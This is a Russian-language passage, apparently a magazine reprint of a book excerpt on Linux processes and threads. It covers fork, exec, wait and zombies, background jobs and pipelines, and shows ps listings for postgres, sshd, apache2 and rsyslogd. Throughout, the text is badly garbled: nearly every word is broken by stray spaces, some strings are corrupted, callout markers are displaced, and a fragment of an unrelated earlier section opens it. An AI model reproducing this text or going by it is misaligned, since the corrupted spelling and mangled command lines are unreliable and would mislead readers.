64‐bit LSB relocatable, x86‐64, version 1 (SYSV), 
BuildID[sha1]=49e59590c1a718074b76b6541702f6f794ea7eae, not stripped
 

Ди намич  ес кие  модули  ядра  зачаст  ую  явля ются  драй верами  устрой ств,  что
про иллюст  ри рован  о  в  лист  инге  при  помощи  утил  ит  lspci  и  lsusb,  которые
скан  иру ют  пос редст  вом  псевд  офай ловой  сис темы  sysfs  списк  и  обна ружен‐ 
ных ядром на шинах PCI и USB устрой ств и обслу жива ющих их драйв  еров.

Драйв  еры устройс  тв

 
fitz@ubuntu:~$ lspci ‐k 
... 
00:02.0 VGA compatible controller: Intel Corporation 2nd Generation Core 
Process 
or Family Integrated Graphics Controller (rev 09) 
        Subsystem: Dell 2nd Generation Core Processor Family Integrated 
Graphics 
 Controller 
        Kernel driver in use: i915 
        Kernel modules: i915 
... 
00:19.0 Ethernet controller: Intel Corporation 82579LM Gigabit Network 
Connection (Lewisville) (rev 04) 
        Subsystem: Dell 82579LM Gigabit Network Connection (Lewisville) 
        Kernel driver in use: e1000e 
        Kernel modules: e1000e 
fitz@ubuntu:~$ lsusb –t 
... 
/:  Bus 01.Port 1: Dev 1, Class=root_hub, Driver=ehci‐pci/3p, 480M 
|__ Port 1: Dev 2, If 0, Class=Hub, Driver=hub/6p, 480M 
|__ Port 4: Dev 3, If 2, Class=Vendor Specific Class, Driver=, 12M 
|__ Port 4: Dev 3, If 0, Class=Wireless, Driver=btusb, 12M 
|__ Port 4: Dev 3, If 3, Class=Application Specific Interface, Driver=, 
12M 
|__ Port 4: Dev 3, If 1, Class=Wireless, Driver=btusb, 12M 
|__ Port 5: Dev 4, If 0, Class=Video, Driver=uvcvideo, 480M 
|__ Port 5: Dev 4, If 1, Class=Video, Driver=uvcvideo, 480M
 

→Продолжение статьи

АДМИН ←  НАЧАЛО СТАТЬИ

ПРОЦЕССЫ И ПАМЯТЬ
В LINUX

ОТРЫВОК ИЗ КНИГИ
«ВНУТРЕННЕЕ УСТРОЙСТВО LINUX»

ПРОЦЕССЫ И НИТИ
Сущн  ость  проц  есс  а  нераз рывно  свя зана  с  мульт  ип рограмм  ирован  ием
и мно гозад  ач ностью опер  аци онной сис темы. Нап ример, в одно задач ных опе‐ 
рацио  нных  сист  емах  прог раммы  сущес тву ют,  а  про цесс  ы  —  нет.  В  одно‐ 
задачн  ых  опе раци онных  сист  емах  еди новр  емен но  одна  пос ледова тель ная
прог рамма  выпол няет ся  одним  исполнит  елем  (цент  ральн  ым  про цес сором),
имея  возм  ожность  безр  аздель но  исполь зовать  все  дос тупные  ресурс  ы
(память, устрой ства ввод  а‐вывода и пр.).

В любой прог рамме мож но выделить переме жающиеся блок  и инс трук ций,
использ  ующих  или  цент  раль ный  про цесс  ор  (ЦП),  или  устрой ства  вво‐ 
да‐вывода  (УВВ).  При  этом  цен тральн  ый  про цес сор  вынужд  ен  прос таивать
при  выпол нении  прог раммой  опер  аций  ввод  а‐вывода,  напр  имер,  при  ожи‐ 
дании  оконч  ания  записи  (или  чте ния)  бло ка  данн  ых  на  внеш ний  носитель,
или при ожи дании окон чания передач  и (или прие  ма) сетевог  о кадр  а, или при
ожид  ании событий с устройс  тв человек  о‐машинн  ого взаи  мо дей ствия. С дру‐ 
гой  сто роны,  устройс  тва  ввод  а‐вывода  тоже  вынужд  ены  прост  аивать
при  выпол нении  прог раммой  вычис литель ных  опе раций,  нап ример,  ожид  ая
результ  ата,  подл  ежаще го  выводу,  или  ожи дая  воз никнов  ения  у  прог раммы
пот ребност  и в новых исходных данн  ых.

Исп  оль зуя  такую  модель  поведе ния  прог рамм,  можн  о  пров  ес ти  анал  из
пот реблен  ия  ими  ресурс  ов  при  выпол нении.  Нап ример,  ком пресс  оры  gzip,
bzip  и  xz  счи тыва ют  очер  ед ной  блок  данн  ых  исходног  о  фай ла,  относ  ительн  о
дол го  упак  овы вают  его  и  записыв  ают  в  результ  иру ющий  файл,  а  затем  пов‐ 
торя ют  про цедур  у  до  исчерпа ния  бло ков  исходно го  фай ла.  Количес тво  вре‐ 
мени,  пот раченн  ого  на  вычис литель ные  опер  ации  упа ковк  и,  будет  мно го
боль ше  количес тва  вре мени,  пот раченн  ого  на  чтен  ие  исходных  дан ных
и запись резуль татов, поэто му наг рузка на ЦП будет высокой, а на УВВ — нет.
Такой  же  ана лиз  можн  о  прив  ес ти  и  для  дубл  икатор  а  dd,  копиров щика  rsync
или  архи вато ра  tar,  которые,  наобор  от,  поч ти  не  выпол няют  никаких  вычис‐ 
лений, а сос редото чены на вво де‐выводе боль ших объ емов данн  ых, поэто му
при  их  исполь зовании  наг рузка  на  ЦП  будет  доволь но  низ кой,  а  на  УВВ  —
высокой.

Для  команд  но го  интер прет  атор  а  bash,  тек стов  ых  редак торов  nano  и  vim
и  дру гих  интер  ак тивных  прог рамм,  взаи  мо дейс  тву ющих  с  поль зовател  ем,
характ  ерны дли тель ные ожи дания вво да небольш  их команд, прост  ая и недол‐ 
гая  их  обра бот ка  и  вывод  корот кого  результ  ата.  В  результ  ате  коэф фици ент
полезн  ого исполь зования и ЦП, и УВВ будет приб лижен к нулю.

По доб ный ана лиз и желание увел  ичить коэф фици енты полез ного исполь‐ 
зования  ресурс  ов  при вели  к  соз данию  мно гозад  ач ных  опе рацио  нных  сис‐ 
тем,  осно выва ющихс  я  на  прост  ой  идее  псевд  оод новре мен ного  выпол нения
нес коль ких  пос ледоват  ель ных  прогр  амм  одним  исполнит  елем.  Для  это го
вмес то  прост  оя  в  ожид  ании  окон чания  опе рации  вво да‐вывода,  начатой
некото рой  прог раммой,  цен траль ный  проц  есс  ор  перек люча ется  на  выпол‐ 
нение дру гой прог раммы, тем самым уве личи вая интегральн  ый коэфф  ицие  нт
его полез ного использ  ования.

С появл  ение  м муль типр  ограм мной сме си (так называю  т набор прог рамм,
меж ду которы ми перек люча ется проц  есс  ор) кажд  ая из ее прогр  амм боль ше
не может безр  аздельн  о исполь зовать все дос тупные ресур сы (напр  имер, всю
память — она одновре мен но нуж на всем прог раммам сме си), в связ  и с чем
опе раци онная сис тема берет на себя задачи дис петче риза ции (расп  ре деле‐ 
ния) ресурс  ов межд  у ними. В Linux, как и во мног  их друг  их опер  ацио  нных сис‐ 
темах,  прогр  аммы  изо лиру ются  друг  от  дру га  в  спе циаль ных  «вир туаль ных»
сре дах,  обесп  ечива ющих  их  проц  есс  выпол нения.  Кажд  ая  такая  сред  а
называе  тся  про цес сом  и  получае  т  долю  дост  упных  ресур сов  —  выделенн  ый
участ  ок  памяти,  выделен ные  пром  ежут ки  проц  ес сорног  о  вре мени.  Проц  есс
эмул  иру ет для прогр  аммы «одно задачн  ый» режим выполн  ения, слов но прог‐ 
рамма выпол няет ся в оди ноч ку, и «без раздельн  ое» использ  ование ресур сов
про цесс  а, как буд то это все дос тупные ресурс  ы.

Па рал лель ные  прог раммы,  как  ука зывал  ось  ранее,  сост  оят  из  незави‐ 
симых  вет вей,  кажд  ая  из  которых  сама  по  себе  укла дыва ется  в  модель
поведен  ия посл  едоват  ель ной прогр  аммы, поэтом  у одну парал лельн  ую прог‐ 
рамму  можн  о  выпол нять  в  неск  ольк  их  про цес сах  в  псевд  оод новрем  ен ном
режиме.  Про цесс  ы  опер  ацио  нной  сис темы,  таким  обра зом,  являю  тся  кон‐ 
тейн  ерами  для  мно гоза дачн  ого  выпол нения  прогр  амм,  как  посл  едова тель‐ 
ных, так и парал лель ных.

В сле дующем лис тинге при помощи коман ды ps показа ны про цес сы поль‐ 
зовате ля,  упо рядо чен ные  в  дерево,  пост  ро енное  на  основ  е  дочер‐ 
не‐родитель ских отно шений меж ду проц  ес сами. Уни каль ный иден тификат  ор,
отлич  ающий  про цесс  от  дру гих,  выведен  в  стол бце  PID  (process  identifier),
а имя и аргу мен ты прогр  аммы, запущенн  ой в соот ветст  вую  щем проц  ес се —
в стол бце COMMAND.

В  стол бце  STAT  показа но  текущее  сос тояние  про цес са,  нап ример  S  (сон,
sleep)  или  R  (выпол нение,  running,  или  готов ность  к  выполн  ению,  runnable).
Про цесс  ы,  ожи дающие  завер шения  их  опер  аций  вво да‐вывода,  находят ся
в  сост  оянии  сна,  в  про тив ном  слу чае  либо  выпол няют ся,  либо  готовы
к выпол нению, т. е. ожид  ают, когд  а текущий выпол няющийс  я про цесс засн  ет
и про цес сор будет перекл  ючен на них. В стол бце TIME показан  о чис тое пот‐ 
реблен ное про цес сом проц  есс  орное врем  я от момент  а запуск  а прог раммы,
увел  ичи вающееся тольк  о при нахож дении им в сост  оянии выпол нения.

Дер  ево про цес сов поль зовател  я

 
fitz@ubuntu:~$ ps fx 
  PID TTY      STAT   TIME COMMAND 
... 
17764 tty3     Ssl+   0:00 /usr/lib/gdm3/gdm‐x‐session ‐‐run‐script ... 
17766 tty3     Sl+    3:09    _ /usr/lib/xorg/Xorg vt3 ‐displayfd 3 ... 
17774 tty3     Sl+    0:00    _ /usr/lib/gnome‐session/gnome‐session‐bi‐
nary ... 
... 
 2987 ?        Ss     0:04 /lib/systemd/systemd ‐‐user 
 2992 ?        S      0:00    _ (sd‐pam) 
17373 ?        Ssl    0:08    _ /usr/bin/pulseaudio ‐‐daemonize=no 
17444 ?        Ss     0:02    _ /usr/bin/dbus‐daemon ‐‐session ‐‐ad‐
dress=systemd: ... 
... 
17921 ?        Ssl   10:04    _ /usr/bin/gnome‐shell 
... 
⓿ 30192 ?      Ssl    0:00    _ /usr/libexec/gnome‐terminal‐server 
❶ 30202 pts/1  Ss     0:00    _ bash 
❷ 30226 pts/1  S+     0:00       _ man ps 
  30236 pts/1  S+     0:00          _ pager 
❶ 30245 pts/3  Ss     0:00    _ bash 
❷ 30251 pts/3  R+     0:00       _ ps fx 
❸ 30315 ?      Sl     0:04    _ /usr/lib/firefox/firefox ‐new‐window 
30352 ?        Sl     0:02       _ /usr/lib/firefox/firefox ‐contentproc 
‐childID 1 ... 
30396 ?        Sl     0:00       _ /usr/lib/firefox/firefox ‐contentproc 
‐childID 2 ... 
30442 ?        Sl     0:00       _ /usr/lib/firefox/firefox ‐contentproc 
‐childID 3 ...
 

Упр  авля ющий  терм  инал  про цес са,  показан ный  в  столб  це  TTY,  использ  ует ся
для  дос тавки  ему  инте рак тивных  сиг налов  (см.  разд.  4.8)  при  вво де  управля‐ 

⓿ющих  симв  олов  intr ^C, quit ^\  и  пр.  у  част  и  про цесс  ов  ,  ❸   управля‐ 

ющий тер минал отсутс твуе  т, потому что они выпол няют прил  ожен  ия, взаи  мо‐ 
дейс  тву ющие  с  поль зовате лем  не  поср  едс твом  терм  иналов,  а  через  гра‐ 
фичес кую сис тему.

Про цесс  по  сво ему  опред  елен  ию  изо лиру ет  свою  прогр  амму  от  друг  их
выпол няющих ся  прог рамм,  что  зат рудняе  т  исполь зование  про цесс  ов
для  выпол нения  таких  парал лель ных  прогр  амм,  вет ви  которых  не  являю  тся
пол ностью  незави симым  и  друг  от  дру га  и  дол жны  обме ниватьс  я  данн  ыми.
Использ  ование  предн  азна чен ных  для  этог  о  средств  межп  ро цес сно го  вза‐ 
имо дей ствия  при  интенсивн  ом  обмен  е  прив  одит  к  обре мене нию  неоп‐ 
равдан ными накл  адным  и расх  одами, поэтом  у для эффективн  ого выпол нения
таких  парал лель ных  прог рамм  использ  уют ся  лег ковесн  ые  про цес сы  (LWP,
light‐weight processes), они же нити (threads).

INFO

Су щест  ву ет еще один (неудач ный, на мой взгляд)
перевод понятия thread на русс  кий язык — поток.
Во‐пер вых,  он  кон флик тует  с  перево дом  понятия
stream — поток, а во‐втор  ых, в отлич  ие от stream,
thread  никуда  не  течет.  А  вот  про цесс  (process)
содерж  ит  в  себе  нити  (thread)  абсол  ют но  таким
же  образ  ом,  как  и  обыч ная  веревк  а  сост  оит
из нитей.

Ме ханизм  нитей  позв  оля ет  перек лючать  цент  ральн  ый  про цесс  ор  межд  у
парал лель ными вет вями одной прогр  аммы, разм  еща емым  и в одн  ом (!) про‐ 
цес се.  Нити  никак  не  изо лиро ваны  друг  от  дру га,  и  им  дос тупны  абсол  ют но
все  ресур сы  сво его  проц  есс  а,  поэтом  у  задача  обмен  а  данн  ыми  межд  у
нитями поп росту отсутс тву ет, т. к. все данн  ые являю  тся для них общи ми.

В прим  ере из cktle.otuj сле дующе го лист  инга показан  ы нити про цесс  а
в  BSD‐форм  ате  вывода.  Выбор  про цесс  а  про извод  ит ся  по  его  иден тифика‐ 
тору  PID,  предв  аритель но  получен ному  коман дой  pgrep  по  име ни  прог‐ 
раммы, выпол няющейс  я в иском  ом про цесс  е.

В выводе наличие нитей проц  ес са отмеч  ает флаг l (lwp) в столб  це сос‐ 
тояния  STAT,  а  каж дая  строч ка  без  иден тификат  ора  PID  сим волизир  ует  одну
нить. Так как в мно гони тевой прогр  амме перекл  ючение проц  есс  ора прои  зво‐ 
дит ся межд  у нитями, то и сос тояния сна S, выполн  ения или ожи дания R при‐ 
писыв  ают ся отдельн  ым нитям.

Нит  и проц  есс  ов, BSD-фор мат вывода

 
fitz@ubuntu:~$ pgrep firefox 
30315 
fitz@ubuntu:~$ ps mp 30315 
  PID TTY      STAT   TIME COMMAND 
  PID TTY      STAT   TIME COMMAND 
30315 ?        ‐      0:05 /usr/lib/firefox/firefox ‐new‐window 
    ‐ ‐       Sl     0:03 ‐ 
... 
    ‐ ‐        Sl     0:00 ‐ 
    ‐ ‐        Sl     0:00 ‐ 
    ‐ ‐        Sl     0:00 –
 

В  нижес леду ющем  лис тинге  показа ны  нити  про цес са  в  SYSV‐форм  ате
вывода.  Выбор  про цесс  а  про извод  ит ся  по  име ни  его  прогр  аммы.  Общий
для всех нитей иден тифика тор их про цесс  а отоб ража ется в стол бце PID, уни‐ 
кальн  ый  иден тификат  ор  каж дой  нити  —  в  столб  це  LWP  (иног да  называ емый
TID,  thread  identifier),  а  имя  про цес са  (или  собст  венн  ое  имя  нити,  если
задано) — в стол бце CMD.

Нит  и проц  ес сов, SYSV-фор мат вывода

 
fitz@ubuntu:~$ ps ‐LC firefox 
  PID  LWP TTY          TIME CMD 
30315 30315 ?        00:00:04 firefox 
30315 30320 ?        00:00:00 gmain 
30315 30321 ?        00:00:00 gdbus 
... 
30315 30328 ?        00:00:00 Socket Thread 
30315 30332 ?        00:00:00 Cache2 I/O 
30315 30333 ?        00:00:00 Cookie 
... 
30315 30371 ?        00:00:00 HTML5 Parser 
30315 30373 ?        00:00:00 DNS Resolver #3 
...
 

Порождение процессов и нитей, запуск программ
Нес мотря  на  оче видн  ые  раз личия,  истор  ию  возн  икно вения  и  раз вития,  нити
и  про цес сы  объ един  яет  общее  наз начение  —  они  явля ются  при митив  ами
выпол нения  некото рого  набора  посл  едоват  ельн  ых  инст  рукц  ий.  Откро венн  о
говоря, нити, в общем, появи лись в опе раци онных сис темах раньш  е, чем изо‐ 
лиро ванн  ые UNIX‐про цесс  ы, в которые со вре менем вер нулись UNIX‐нити.

Про цесс  ы выпол няют или разн  ые пос ледова тель ные прогр  аммы целиком,
или  вет ви  одной  парал лель ной  прог раммы,  но  в  изол  иро ванн  ом  окру жении
со  сво им  «част  ным»  (private)  набором  ресур сов.  Нити,  наобо рот,  выполн  яют
вет ви одной парал лельн  ой прогр  аммы в одном окру жении с «общим» (shared)
набором  ресур сов.  В  мно гоза дачн  ом  ядре  Linux  вооб ще  использ  ует ся  уни‐ 
верс  аль ное  понятие  «задача»,  которая  может  иметь  как  общие  ресурс  ы
(память, откры тые файл  ы и т. д.) с дру гими задача ми, так и час тные ресур сы
для сво его собст  вен ного исполь зования.

По рож дение  нового  проц  есс  а  реализ  ует ся  при  помощи  сист  емног  о
вызова  fork,  в  резуль тате  которо го  ядро  опер  ацио  нной  сист  емы  созд  ает

новый  дочер ний  (child)  про цесс  PID2  —  пол ную  копию  (COPY)  проц  ес‐ 
са‐родите ля  (parent)  PID1.  Вся  (за  небольш  ими  исклю чени ями)  память  про‐ 
цесс  а — сос тояние, свой ства, атри буты (кро ме иден тификат  ора PID) и даже
содер жимое (прогр  амма с ее библ  иотек  ами) — нас леду ется дочерн  им про‐ 
цес сом. Даже выпол нение порож денно го и порож дающе го проц  есс  а про дол‐ 
жится с одной и той же инст  рук ции их один  аков  ой прог раммы. Такое клон  иро‐ 
вание обыч но использ  уют парал лельн  ые прог раммы с вет вями, выпол няющи‐ 
мися в дочер них про цесс  ах.

Уничт  ожение  про цес са  (нап ример,  при  штат ном  оконч  ании  прогр  аммы)
про изво дит ся с помощью сист  емног  о вызова exit. При этом родитель ско му
про цес су  дост  авля ется  сиг нал  SIGCHILD,  опо вещаю  щий  о  завер шении
дочер него про цес са. Стат  ус завер шения status, передан ный дочерн  им про‐ 
цесс  ом через аргум  ент  ы exit, будет сохр  анять ся ядром до момен та его вос‐ 
тре бова ния  родительс  ким  проц  есс  ом  при  помощи  сист  емно го  вызова  wait,
а весь этот про межут  ок вре мени дочерн  ий про цесс будет находить ся в сос‐ 
тоянии Z (zombie).

Ро дитель ский  про цесс  может  заверш  итьс  я  рань ше  сво их  дочерн  их  про‐ 
цесс  ов, тогд  а логич но предп  оложить, что все «осир  отевш  ие» проц  есс  ы ока‐ 
жут ся зомб  и по завер шении, потому как прост  о некому будет вос треб  овать их
ста тус  заверш  ения.  На  самом  деле  это го  не  про исход  ит,  потому  что  «оси‐ 
ротев шим» про цесс  ам наз начае  тся при емный родитель, в качест  ве которог  о
выс тупа ет пра роди тель всех про цес сов init с иден тификат  ором PID = 1.

По рожд  ение про цесс  ов (а) и запуск прог рамм (б)

Зап  уск  новой  прог раммы  (см.  рис.)  реализ  ует ся  при  помощи  сис темно го
вызова  exec,  в  результ  ате  которо го  содер жимое  проц  ес са  PID1  пол ностью
замеща ется  запус каемой  прогр  аммой  и  библ  иоте ками,  от  которых  она
зависит, а свойс  тва и атриб  уты (вклю чая иден тификат  ор PID) остаю  тся неиз‐ 
менным  и.  Такое  замеще ние  обычн  о  исполь зует ся  прог рамма ми,  устан  ав‐ 
ливаю  щим  и нужн  ые знач  ения свой ств и атриб  утов про цес са и подг  отав лива‐ 
ющим  и ресур сы про цес са к выпол нению запуск  аемой прогр  аммы. Нап ример,
обраб  от чик  терм  инальн  ого  дост  упа  getty  откры вает  заданн  ый  тер минал,
уста навл  ивае  т  режимы  работы  порт  а  тер минала,  перенапр  авляе  т  на  тер‐ 
минал  станд  арт  ные  потоки  вво да‐вывода,  а  затем  замещае  т  себя  прог‐ 
раммой аутен тифика ции login.

Для  запуск  а  новой  прогр  аммы  в  новом  проц  есс  е  исполь зуют ся  оба  сис‐ 
темных 
вы зова fork  и  exec  согл  асно  принц  ипу  fork‐and‐exec  «раз двои  ть ся  и  запус‐ 
тить»,  показанн  ого  на  рисунк  е  ниже.  Нап ример,  команд  ный  интер прет  атор
bash  по  команд  ам  ps  fx  или  man  ps  порожд  ает  дочерн  ие  про цес сы  ❷

⓿и  замещае  т  их  прог рамма ми  ps  и  man.  Тем  же  образ  ом  дей ству ет    гра‐ 

фичес кий эму лятор тер минала gnome‐terminal‐server — запус кая новый сеанс
поль зовате ля  ❶   на  каж дой  из  свои  х  вклад  ок,  он  замещае  т  свои  дочерн  ие
про цесс  ы прог раммой интерп  рет  атор  а bash.

Зап  уск прог раммы в отдельн  ом проц  ес се

Сле дующий  лист  инг  иллюс три рует  команд  у  интерп  рет  атор  а,  запущенн  ую
в  «фоновом»  режиме  при  помощи  конст  рукц  ии  асинх  ронн  ого  списк  а.  Ана‐ 
логичн  о  всем  пред  ыду щим  коман дам,  интерп  рет  атор  исполь зует  fork‐and‐
exec  для  запуск  а  прогр  аммы  в  дочер нем  про цесс  е  с  иден тификат  ором
23228,  но  не  дожидае  тся  его  заверш  ения  при  помощи  сист  емно го  вызова
wait,  как  обычн  о,  а  немедл  енно  ❶   прод  ол жает  интер  ак тивное  взаи  мо дей‐ 
ствие  с  польз  овател  ем,  сооб щив  ему  PID  порожд  енно го  про цесс  а  и  «номер
задания»  [1]  команд  ы  «задн  его  фона».  Опов  еще ние  о  завер шении  сво его
дочерн  его  про цес са  интерп  ре татор  получит  поз же,  при  помощи  сиг нала
SIGCHLD,  и  отреа  ги рует  соот ветст  вую  щим  сооб щение  м  ❷   об  окон чании
коман ды «задн  его фона».

Фон  овое выполн  ение прогр  амм

 
fitz@ubuntu:~$ dd if=/dev/dvd of=plan9.iso &
 
❶ [1] 23228 
fitz@ubuntu:~$ ps f 
  PID TTY      STAT   TIME COMMAND 
23025 pts/1    S      0:00 ‐bash 
23228 pts/1   R      1:23    _ dd if=/dev/dvd of=plan9.iso 
23230 pts/1    R+     0:00    _ ps f 
fitz@ubuntu:~$ 
... 
fitz@ubuntu:~$ 586896+0 записей получе но 
586896+0 записей отправ лено 
300490752 байт (300 MB, 286 MiB) ско пиров ан, 14,6916 c, 20,5 MB/c
 
❷ [1]+  Завер шён            dd if=/dev/dvd of=plan9.iso
 

В  сле дующем  лист  инге  показа на  конв  ейе  рная  конс трук ция  интер прет  ато ра,
при  помощи  которой  осу щест вля ется  поиск  самого  боль шого  файл  а  с  суф‐ 
фиксом  .html  вниз  по  дереву  каталог  ов,  начиная  с  /usr/share/doc.  Эта
конст  рукц  ия  реали зует ся  при  помощи  fork‐and‐exec  четырь мя  паралл  ель но
порожд  енны ми дочерн  ими про цесс  ами интер прет  ато ра, в каж дом из которых
запуще на прог рамма соот ветст  ву ющей част  и кон вейе  ра, при этом дочерн  ие
про цесс  ы  свя заны  неиме нован ным  каналом  pipe  —  прост  ей шим  средст  вом
межп  ро цесс  но го взаи  мод  ей ствия. Встро енная коман да интерп  ре татор  а wait
реали зует  одно имен ный  сист  емный  вызов  и  исполь зует ся  для  ожи дания
окон чания  всех  дочер них  проц  есс  ов  конв  ей ера,  целиком  запущенн  ого
в «фоновом» режиме.

Пар  алл  ель ный запуск взаи  мо дейс  твую  щих прог рамм

 
fitz@ubuntu:~$ find /usr/share/doc ‐type f ‐name '.html' | xargs ‐n1 wc 
–l | sort ‐k 1 –nr | head ‐1 & 
 [1] 12827 
fitz@ubuntu:~$ ps fj 
 PPID   PID  PGID   SID TTY      TPGID STAT   UID   TIME COMMAND 
11715 11716 11716  9184 pts/0    14699 S     1006   0:01 ‐bash 
11716 12824 12824  9184 pts/0    14699 R     1006   0:00    _ find ... ‐
type f ‐name *.html 
11716 12825 12824  9184 pts/0    14699 R     1006   0:00    _ xargs ‐n1 
wc ‐l 
11716 12826 12824  9184 pts/0    14699 S     1006   0:00    _ sort ‐k 1 
‐nr 
11716 12827 12824  9184 pts/0    14699 S     1006   0:00    _ head ‐1 
11716 14699 14699  9184 pts/0    14699 R+    1006   0:00    _ ps fj 
fitz@ubuntu:~$ wait 
15283 /usr/share/doc/xterm/xterm.log.html 
[1]+  Заверш ён find /usr/share/doc ‐type f ‐name '.html' | xargs ‐n1 wc 
‐l | sort ‐k 1 ‐nr | head ‐1
 

Параллельные многопроцессные программы
Как указ  ывал  ось ранее, парал лель ные прог раммы зачас тую использ  уют про‐ 
цес сы  для  выпол нения  отдель ных  вет вей.  В  эту  катего рию  час то  попадаю  т
прогр  аммы  сетевых  служб,  напр  имер  серв  ер  баз  дан ных  W:[PostgreSQL],
служ ба удал  ен ного дос тупа W:[SSH] и подобн  ые. След  ующий лист  инг иллюс‐ 
три рует прог рамму postgres, выпол няющуюся в шест  и парал лель ных проц  ес‐ 
сах, один из которых — дисп  етчер ❶, четыре слу жеб ных ❷ и еще один ❸ выз‐ 
ван  под ключ  ени ем  польз  овател  я  fitz  к  одно имен ной  базе  данн  ых  fitz.
При  пос ледую  щих  под клю чени ях  поль зовател  ей  к  серв  еру  будут  порожд  ены
допол нитель ные  дочер ние  проц  ес сы  для  обслуж  ива ния  их  зап росов  —
по одно му на кажд  ое подк  лю чение.

Па ралл  ель ные мног  опр  оцесс  ные сер висы

 
fitz@ubuntu:~$ ps f ‐C postgres 
  PID TTY      STAT   TIME COMMAND 
❶  6711 ?        S      0:00 /usr/lib/postgresql/11/bin/postgres ‐D 
/var/lib/postgresql... 
❷  6713 ?        Ss     0:00    _ postgres: 11/main: checkpointer 
│  6714 ?        Ss     0:00    \_ postgres: 11/main: background writer 
│  6715 ?        Ss     0:00    \_ postgres: 11/main: walwriter 
│  6716 ?        Ss     0:00    \_ postgres: 11/main: autovacuum launch‐
er 
│  6717 ?        Ss     0:00    \_ postgres: 11/main: stats collector 
6718 ?        Ss     0:00    \_ postgres: 11/main: logical replication 
launcher 
❸  9443 ?        Ss     0:00    _ postgres: 11/main: fitz  fitz [local] 
idle 
fitz@ubuntu:~$ ssh ubuntu 
fitz@ubuntu's password: 
... 
Last login: Sat Nov 21 13:29:33 2015 from localhost 
fitz@ubuntu:~$ ps f ‐C sshd 
     PID TTY      STAT   TIME COMMAND 
①   655 ?        Ss     0:00 /usr/sbin/sshd ‐D 
② 21975 ?        Ss     0:00    _ sshd: fitz [priv] 
③ 22086 ?        S      0:00    _ sshd: fitz@pts/1 
fitz@ubuntu:~$ ^Dвыход 
Connection to ubuntu closed.
 

Анал  огичн  о,  при  удал  ен ном  дост  упе  по  про токол  у  SSH  прогр  амма  sshd,
работая в качест  ве дисп  етчер  а ① в одном проц  ес се, на каж дое подк  лю чение
порожд  ает  один  свой  клон  ② ,  который,  выполн  ив  аутен тификац  ию  и  авто‐ 
риза цию  польз  овате ля  в  сист  еме,  порожд  ает  еще  один  свой  клон  ③ ,
имперсо ниру ющий ся в польз  овател  я и обслуж  иваю  щий его зап росы.

Параллельные многонитевые программы
Для  управле ния  нитями  в  Linux  использ  уют  станд  ар тный  POSIX‐интерфейс
pthreads,  реализ  ующийс  я  библ  иоте кой  W:[NPTL],  которая  являе  тся  частью
биб лиоте ки libc. Интерфейс пре дост  авляе  т «нитевой» вызов созд  ания нити
pthread_create,  который  явля ется  условным  анал  огом  «про цес сных»  fork
и  exec,  вызов  завер шения  и  уничт  ожения  нити  pthread_exit,  условно  ана‐ 
логичн  ый  exit,  и  вызов  для  получен  ия  стат  уса  завер шения  нити  pthread‐
_join, условно анал  огич ный wait.

В  качес тве  типичн  ых  прим  еров  при менен  ия  нитей  мож но  при вес ти
сетевые сер висы, которые для парал лельн  ого обслуж  ива ния кли ент ских зап‐ 
росов  использ  уют  нити  вмес то  проц  есс  ов.  Нап ример,  WEB‐сер вер  apache,
как показа но в сле дующем лист  инге, использ  ует два мног  они тевых проц  есс  а
по 27 нитей в кажд  ом, что поз воля ет экон  омить память (за счет работы всех
нитей  про цесс  а  с  общей  памятью)  при  обслуж  иван  ии  боль шого  количест  ва
одновре мен ных клие  нт ских подк  лю чений.

Пар  ал лель ные мно гонит  евые сер висы

 
fitz@ubuntu:~$ ps f ‐C apache2 
  PID TTY      STAT  TIME COMMAND 
10129 ?        Ss    0:00 /usr/sbin/apache2 ‐k start 
10131 ?        Sl    0:00    _ /usr/sbin/apache2 ‐k start 
10132 ?        Sl    0:00    _ /usr/sbin/apache2 ‐k start 
fitz@ubuntu:~$ ps fo pid,nlwp,cmd ‐C apache2 
  PID NLWP CMD 
10129 1    /usr/sbin/apache2 ‐k start 
10131 27      _ /usr/sbin/apache2 ‐k start 
10132 27      _ /usr/sbin/apache2 ‐k start
 
fitz@ubuntu:~$ ps ‐fLC rsyslogd 
UID    PID  PPID LWP  C NLWP STIME TTY     TIME CMD 
syslog 606     1 606  0    4 ноя18 ?   00:00:00 /usr/sbin/rsyslogd ‐n ‐
iNONE 
syslog 606     1 680  0    4 ноя18 ?   00:00:00 /usr/sbin/rsyslogd ‐n ‐
iNONE 
syslog 606     1 681  0   4 ноя18 ?   00:00:00 /usr/sbin/rsyslogd ‐n ‐
iNONE 
syslog 606     1 682  0    4 ноя18 ?   00:00:00 /usr/sbin/rsyslogd ‐n ‐
iNONE
 

Анал  огич но,  сер вис  цент  рал  изо ван ной  журн  ализац  ии  событий  rsyslogd
использ  ует  нити  для  парал лель ного  сбо ра  событийн  ой  информа ции  из  раз‐ 
ных источни ков, ее обра бот ки и жур нализац  ии. Одна нить счи тыва ет события
ядра  из  /proc/kmsg,  вто рая  прин  има ет  события  друг  их  служб  из  фай лового
сокета /run/systemd/journal/syslog (/dev/log в ранн  их, до systemd сис‐ 
темах), третья фильт  руе  т поток прин  ятых событий и записыв  ает в журн  альн  ые
фай лы катало га /var/log/* и т. д. Парал лель ная обра бот ка потоков пос тупа‐ 
ющих  событий  при  помощи  нитей  прои  звод  итс  я  с  минималь но  возм  ожным  и
накл  адны ми  расх  одами,  что  позв  оля ет  дос тигать  колос саль ной  прои  зво‐ 
дительн  ост  и по количес тву обра баты ваемых сообщ  ений в един  ицу вре мени.

Расп  арал леливан  ие  исполь зует ся  не  тольк  о  для  псев доод новре мен ного
выпол нения  вет вей  парал лель ной  прогр  аммы,  но  и  для  их  наст  оящег  о
одноврем  енн  ого  выпол нения  неск  ольк  ими  цент  ральн  ыми  про цесс  орами.
В при мере из сле дующег  о лис тинга показа но, как сокр  аща ется врем  я сжа тия
ISO‐образ  а  фай ла  при  исполь зовании  паралл  ель ного  упа ковщ  ика
pbzip2 по срав нению с посл  едова тельн  ым bzip2. Для изме рения вре мени упа‐ 
ков ки при меняе  тся встро енная коман да интер пре тато ра time, при этом сна‐ 
чала изме ряет ся врем  я упа ковк  и ❶ и вре мя расп  аковк  и ❷ пос ледоват  ельн  ым
упак  овщ  иком,  а  затем  —  врем  я  упа ков ки  ①   и  вре мя  рас паковк  и  ②   парал‐ 
лельн  ым  упак  ов щиком.  Коман ды  упа ков ки  запуск  ают ся  на  «задн  ем  фоне»,
оце нивае  тся наличие про цесс  ов и нитей паков щиков, пос ле чего они перево‐ 
дят ся  на  «перед ний  фон»  встро енной  команд  ой  интерп  ре татор  а  fg  (fore‐
ground) и оцен  иваю  тся зат раты вре мени.

